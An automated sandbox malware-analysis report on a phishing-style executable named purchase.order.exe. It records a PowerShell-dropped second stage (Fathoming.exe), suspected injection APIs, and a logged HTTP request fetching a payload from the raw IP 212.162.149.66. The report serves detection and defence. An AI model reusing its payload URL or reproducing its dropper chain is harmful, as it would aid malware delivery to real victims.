Windows Analysis Report
purchase.order.exe

AI detected suspicious sample

Source: Yara match

File source: 00000008.00000002.3003104703.0000000021750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: purchase.order.exe

Joe Sandbox ML: detected

Source: purchase.order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: purchase.order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: stem.Core.pdba source: powershell.exe, 00000002.00000002.2642154478.0000000006D9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Fathoming.exe, 00000008.00000002.3003389352.0000000021C4E000.00000040.00001000.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2950366409.0000000021901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Fathoming.exe, Fathoming.exe, 00000008.00000002.3003389352.0000000021C4E000.00000040.00001000.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2950366409.0000000021901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp

Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_0040689E FindFirstFileW,FindClose,	0_2_0040689E
Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_00405C4D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4D
Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49707 -> 212.162.149.66:80

Source: global traffic

HTTP traffic detected: GET /JiYpNWaslXZHcEPiPEuXaEONVju173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 212.162.149.66Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.66

Source: global traffic

Source: Fathoming.exe, 00000008.00000002.2990245007.0000000006028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin
Source: Fathoming.exe, 00000008.00000003.2948566344.0000000006074000.00000004.00000020.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000002.2990340347.0000000006074000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.66/JiYpNWaslXZHcEPiPEuXaEONVju173.bin)
Source: powershell.exe, 00000002.00000002.2642154478.0000000006D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: purchase.order.exe, 00000000.00000000.1421338279.000000000040A000.00000008.00000001.01000000.00000003.sdmp, purchase.order.exe, 00000000.00000002.1473857959.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fathoming.exe, 00000008.00000000.2633837075.000000000040A000.00000008.00000001.01000000.00000007.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2635924027.0000000004691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: powershell.exe, 00000002.00000002.2659979907.0000000007FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000002.00000002.2635924027.0000000004691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: powershell.exe, 00000002.00000002.2640675750.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Users\user\Desktop\purchase.order.exe

Code function: 0_2_00405705 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405705

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match

File source: 00000008.00000002.3003104703.0000000021750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: purchase.order.exe

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22B60 NtClose,LdrInitializeThunk,	8_2_21B22B60
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_21B22DF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_21B22C70
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B235C0 NtCreateMutant,LdrInitializeThunk,	8_2_21B235C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B24340 NtSetContextThread,	8_2_21B24340
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B24650 NtSuspendThread,	8_2_21B24650
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22BA0 NtEnumerateValueKey,	8_2_21B22BA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22B80 NtQueryInformationFile,	8_2_21B22B80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22BF0 NtAllocateVirtualMemory,	8_2_21B22BF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22BE0 NtQueryValueKey,	8_2_21B22BE0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22AB0 NtWaitForSingleObject,	8_2_21B22AB0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22AF0 NtWriteFile,	8_2_21B22AF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22AD0 NtReadFile,	8_2_21B22AD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22DB0 NtEnumerateKey,	8_2_21B22DB0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22DD0 NtDelayExecution,	8_2_21B22DD0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22D30 NtUnmapViewOfSection,	8_2_21B22D30
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22D10 NtMapViewOfSection,	8_2_21B22D10
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22D00 NtSetInformationFile,	8_2_21B22D00
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22CA0 NtQueryInformationToken,	8_2_21B22CA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22CF0 NtOpenProcess,	8_2_21B22CF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22CC0 NtQueryVirtualMemory,	8_2_21B22CC0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22C00 NtQueryInformationProcess,	8_2_21B22C00
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22C60 NtCreateKey,	8_2_21B22C60
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22FB0 NtResumeThread,	8_2_21B22FB0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22FA0 NtQuerySection,	8_2_21B22FA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22F90 NtProtectVirtualMemory,	8_2_21B22F90
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22FE0 NtCreateFile,	8_2_21B22FE0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22F30 NtCreateSection,	8_2_21B22F30
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22F60 NtCreateProcessEx,	8_2_21B22F60
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22EA0 NtAdjustPrivilegesToken,	8_2_21B22EA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22E80 NtReadVirtualMemory,	8_2_21B22E80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22EE0 NtQueueApcThread,	8_2_21B22EE0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22E30 NtWriteVirtualMemory,	8_2_21B22E30
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B23090 NtSetValueKey,	8_2_21B23090
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B23010 NtOpenDirectoryObject,	8_2_21B23010
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B239B0 NtGetContextThread,	8_2_21B239B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B23D10 NtOpenProcessToken,	8_2_21B23D10
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B23D70 NtOpenThread,	8_2_21B23D70

Source: C:\Users\user\Desktop\purchase.order.exe

Code function: 0_2_0040351C EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040351C

Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_00406C5F	0_2_00406C5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06FBBB4E	2_2_06FBBB4E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB01AA	8_2_21BB01AA
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA41A2	8_2_21BA41A2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA81CC	8_2_21BA81CC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8A118	8_2_21B8A118
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0100	8_2_21AE0100
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B78158	8_2_21B78158
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB03E6	8_2_21BB03E6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE3F0	8_2_21AFE3F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAA352	8_2_21BAA352
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B702C0	8_2_21B702C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB0591	8_2_21BB0591
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9E4F6	8_2_21B9E4F6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B94420	8_2_21B94420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA2446	8_2_21BA2446
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEC7C0	8_2_21AEC7C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B14750	8_2_21B14750
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0C6E0	8_2_21B0C6E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF29A0	8_2_21AF29A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BBA9A6	8_2_21BBA9A6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B06962	8_2_21B06962
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD68B8	8_2_21AD68B8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E8F0	8_2_21B1E8F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFA840	8_2_21AFA840
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF2840	8_2_21AF2840
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA6BD7	8_2_21BA6BD7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAAB40	8_2_21BAAB40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEEA80	8_2_21AEEA80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B08DBF	8_2_21B08DBF
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEADE0	8_2_21AEADE0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8CD1F	8_2_21B8CD1F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFAD00	8_2_21AFAD00
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90CB5	8_2_21B90CB5
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0CF2	8_2_21AE0CF2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0C00	8_2_21AF0C00
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6EFA0	8_2_21B6EFA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFCFE0	8_2_21AFCFE0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE2FC8	8_2_21AE2FC8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B10F30	8_2_21B10F30
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B92F30	8_2_21B92F30
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B32F28	8_2_21B32F28
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B64F40	8_2_21B64F40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B02E90	8_2_21B02E90
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BACE93	8_2_21BACE93
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAEEDB	8_2_21BAEEDB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAEE26	8_2_21BAEE26
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0E59	8_2_21AF0E59
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFB1B0	8_2_21AFB1B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BBB16B	8_2_21BBB16B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B2516C	8_2_21B2516C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADF172	8_2_21ADF172
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA70E9	8_2_21BA70E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAF0E0	8_2_21BAF0E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF70C0	8_2_21AF70C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9F0CC	8_2_21B9F0CC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B3739A	8_2_21B3739A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA132D	8_2_21BA132D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADD34C	8_2_21ADD34C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF52A0	8_2_21AF52A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B912ED	8_2_21B912ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0B2C0	8_2_21B0B2C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8D5B0	8_2_21B8D5B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA7571	8_2_21BA7571
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAF43F	8_2_21BAF43F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE1460	8_2_21AE1460
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAF7B0	8_2_21BAF7B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE17EC	8_2_21AE17EC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA16CC	8_2_21BA16CC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B35630	8_2_21B35630
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B85910	8_2_21B85910
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0B950	8_2_21B0B950
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF9950	8_2_21AF9950
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF38E0	8_2_21AF38E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5D800	8_2_21B5D800
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0FB80	8_2_21B0FB80
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B65BF0	8_2_21B65BF0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B2DBF9	8_2_21B2DBF9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAFB76	8_2_21BAFB76
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B35AA0	8_2_21B35AA0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8DAAC	8_2_21B8DAAC
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B91AA3	8_2_21B91AA3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9DAC6	8_2_21B9DAC6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B63A6C	8_2_21B63A6C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAFA49	8_2_21BAFA49
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA7A46	8_2_21BA7A46
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0FDC0	8_2_21B0FDC0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA7D73	8_2_21BA7D73
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA1D5A	8_2_21BA1D5A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF3D40	8_2_21AF3D40
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAFCF2	8_2_21BAFCF2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B69C32	8_2_21B69C32
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAFFB1	8_2_21BAFFB1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF1F92	8_2_21AF1F92
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB3FD2	8_2_21AB3FD2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB3FD5	8_2_21AB3FD5
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAFF09	8_2_21BAFF09
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF9EB0	8_2_21AF9EB0

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: String function: 21ADB970 appears 283 times
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: String function: 21B37E54 appears 111 times
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: String function: 21B25130 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: String function: 21B6F290 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: String function: 21B5EA12 appears 86 times

Source: purchase.order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/13@0/1

Source: C:\Users\user\Desktop\purchase.order.exe

0_2_0040351C

Source: C:\Users\user\Desktop\purchase.order.exe

Code function: 0_2_004049B1 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049B1

Source: C:\Users\user\Desktop\purchase.order.exe

Code function: 0_2_004021CF CoCreateInstance,

0_2_004021CF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

